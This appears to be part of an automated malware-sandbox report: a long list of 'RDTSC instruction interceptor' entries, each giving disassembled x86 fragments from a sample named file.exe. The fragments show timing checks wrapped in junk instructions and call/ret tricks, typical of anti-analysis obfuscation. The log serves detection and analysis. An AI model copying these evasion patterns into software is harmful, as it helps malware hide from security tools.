Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101B0CD second address: 101B0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101B0D2 second address: 101B0F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735524h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101B0F0 second address: 101B0F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101B0F5 second address: 101B100 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FE6C4735516h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101C5CF second address: 101C5E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007FE6C5005F86h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 jnc 00007FE6C5005F86h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101C5E8 second address: 101C66B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735523h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FE6C4735518h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007FE6C4735518h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 push 00000000h 0x00000042 jmp 00007FE6C473551Eh 0x00000047 xchg eax, ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FE6C4735526h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101C66B second address: 101C68C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FE6C5005F8Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101C68C second address: 101C69D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE6C473551Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101CDD2 second address: 101CDD8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101DB58 second address: 101DB78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnl 00007FE6C4735516h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007FE6C473551Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101DB78 second address: 101DB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101DB7C second address: 101DB80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101F977 second address: 101F983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FE6C5005F86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101E38F second address: 101E394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101F983 second address: 101F987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101F987 second address: 101F995 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE6C4735516h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 101F995 second address: 101F9BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F95h 0x00000007 jns 00007FE6C5005F86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FE6C5005F86h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1023153 second address: 1023157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1025204 second address: 102523D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FE6C5005F94h 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007FE6C5005F86h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102617D second address: 1026182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1025343 second address: 1025348 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1026182 second address: 1026187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10253F2 second address: 10253FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102823F second address: 102829D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b cmc 0x0000000c movzx edi, dx 0x0000000f push 00000000h 0x00000011 mov dword ptr [ebp+12469F71h], esi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FE6C4735518h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 add dword ptr [ebp+12471706h], edx 0x00000039 xchg eax, esi 0x0000003a jno 00007FE6C4735520h 0x00000040 push eax 0x00000041 jbe 00007FE6C4735520h 0x00000047 pushad 0x00000048 push edi 0x00000049 pop edi 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1027345 second address: 1027362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C5005F99h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10283DD second address: 1028483 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C4735522h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE6C473551Ch 0x0000000f nop 0x00000010 call 00007FE6C473551Fh 0x00000015 pop edi 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov bx, 7910h 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007FE6C4735518h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 0000001Dh 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 sub dword ptr [ebp+12448C71h], edx 0x00000048 or edi, 0F853AB2h 0x0000004e mov eax, dword ptr [ebp+122D1661h] 0x00000054 jmp 00007FE6C4735520h 0x00000059 push FFFFFFFFh 0x0000005b jmp 00007FE6C4735521h 0x00000060 nop 0x00000061 push eax 0x00000062 push edx 0x00000063 push esi 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1028483 second address: 1028488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102A30E second address: 102A319 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FE6C4735516h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D76D second address: 102D771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D771 second address: 102D775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102E653 second address: 102E6DA instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FE6C5005F88h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 call 00007FE6C5005F8Bh 0x0000002d stc 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007FE6C5005F88h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b mov edi, dword ptr [ebp+122D3A5Eh] 0x00000051 push 00000000h 0x00000053 mov di, cx 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FE6C5005F93h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102E6DA second address: 102E6E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FE6C4735516h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D96F second address: 102D975 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D975 second address: 102D990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE6C4735527h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 102D990 second address: 102D994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10315F5 second address: 10315FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10307CF second address: 10307D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10315FB second address: 10315FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103257A second address: 103257F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103257F second address: 1032616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jnp 00007FE6C4735524h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FE6C4735518h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+12471706h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FE6C4735518h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Dh 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov edi, dword ptr [ebp+1246A253h] 0x00000052 xchg eax, esi 0x00000053 jmp 00007FE6C4735523h 0x00000058 push eax 0x00000059 push ecx 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FE6C473551Bh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10337BD second address: 1033835 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE6C5005F88h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov bx, 5F11h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007FE6C5005F88h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 push 00000000h 0x00000046 jl 00007FE6C5005F8Ch 0x0000004c add ebx, dword ptr [ebp+122D2BC8h] 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1033835 second address: 103383C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1033A71 second address: 1033A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1033A75 second address: 1033A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103A588 second address: 103A590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103A590 second address: 103A5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push edx 0x00000008 jnc 00007FE6C4735516h 0x0000000e pop edx 0x0000000f ja 00007FE6C473551Ah 0x00000015 jc 00007FE6C4735518h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103A85C second address: 103A865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103A865 second address: 103A869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1040DC8 second address: 1040E03 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FE6C5005F90h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FE6C5005F90h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 pushad 0x00000018 jbe 00007FE6C5005F86h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1040E03 second address: 1040E1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1040E1B second address: 1040E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1040FBD second address: 1040FC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE6C4735516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1040FC7 second address: 1040FCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10410D6 second address: 10410DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10410DA second address: 10410E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1045A65 second address: 1045A7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE6C4735520h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1044EAC second address: 1044EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1044EB0 second address: 1044ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FE6C4735516h 0x0000000d jmp 00007FE6C4735525h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1044ED3 second address: 1044F0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FE6C5005F90h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FE6C5005F8Dh 0x00000011 jmp 00007FE6C5005F92h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1045046 second address: 104504A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104504A second address: 1045080 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F96h 0x00000007 jmp 00007FE6C5005F93h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f js 00007FE6C5005F86h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1045080 second address: 1045086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1045086 second address: 104508C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104508C second address: 104509F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE6C473551Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10455DE second address: 10455EE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE6C5005F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10455EE second address: 10455F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10455F2 second address: 10455F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10455F6 second address: 1045615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FE6C473552Ch 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jnl 00007FE6C4735516h 0x00000017 je 00007FE6C4735516h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104CC0C second address: 104CC38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE6C5005F8Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE6C5005F98h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104CC38 second address: 104CC43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D0D8 second address: 104D0F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F97h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D0F9 second address: 104D0FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D3D0 second address: 104D3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE6C5005F91h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D3E9 second address: 104D3EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D539 second address: 104D552 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F91h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D6ED second address: 104D6F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D98C second address: 104D99B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D99B second address: 104D9A6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FE6C4735516h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104D9A6 second address: 104D9D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jmp 00007FE6C5005F8Eh 0x0000000b jmp 00007FE6C5005F90h 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104DADA second address: 104DADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104DADE second address: 104DAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 104DAE6 second address: 104DB0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C473551Ah 0x00000007 pushad 0x00000008 jmp 00007FE6C4735526h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1054413 second address: 105445E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE6C5005F99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FE6C5005F88h 0x0000000f push edx 0x00000010 pop edx 0x00000011 jo 00007FE6C5005F8Ch 0x00000017 jnc 00007FE6C5005F86h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FE6C5005F95h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 105445E second address: 1054462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1054462 second address: 1054468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
